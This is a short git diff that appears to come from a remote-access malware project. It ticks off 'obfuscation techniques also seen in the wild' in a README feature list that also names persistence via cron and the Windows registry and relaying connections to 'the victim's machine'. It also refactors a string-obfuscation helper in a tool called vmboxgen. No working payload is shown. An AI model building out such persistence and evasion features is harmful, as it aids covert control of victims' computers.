diff --git a/README.md b/README.md
index 99a5749..11c0d43 100644
--- a/README.md
+++ b/README.md
@@ -18,7 +18,7 @@ Some notable features thus far:
     - [X] Persistence via Cron on Linux-based systems.
     - [X] Persistence via Windows Registry.
 - [ ] Ability to relay socket connections to/from the victim's machine.
-- [ ] Uses obfuscation techniques also seen in the wild (string obfuscation, tiny VMs executing sensitive operations, etc.)
+- [X] Uses obfuscation techniques also seen in the wild (string obfuscation, tiny VMs executing sensitive operations, etc.)
 - [ ] Simple configuration using CMake:
     - [X] Setting keypairs (`-DLAIKA_PUBKEY=? -DLAIKA_PRIVKEY=?`, etc.)
     - [ ] Obfuscation modes
diff --git a/tools/vmboxgen/src/main.c b/tools/vmboxgen/src/main.c
index 827b674..74c6f55 100644
--- a/tools/vmboxgen/src/main.c
+++ b/tools/vmboxgen/src/main.c
@@ -45,7 +45,7 @@ void addPadding(uint8_t *data, int start) {
     }
 }
 
-uint8_t *makeSKIDdata(char *data, int sz, uint8_t *buff, int key) {
+void makeSKIDdata(char *data, int sz, uint8_t *buff, int key) {
     int i;
 
     for (i = 0; i < sz; i++)
@@ -53,7 +53,6 @@ uint8_t *makeSKIDdata(char *data, int sz, uint8_t *buff, int key) {
 
     buff[i++] = key; /* add the null terminator */
     addPadding(buff, i);
-    return buff;
 }
 
 #define MAKESKIDDATA(macro) \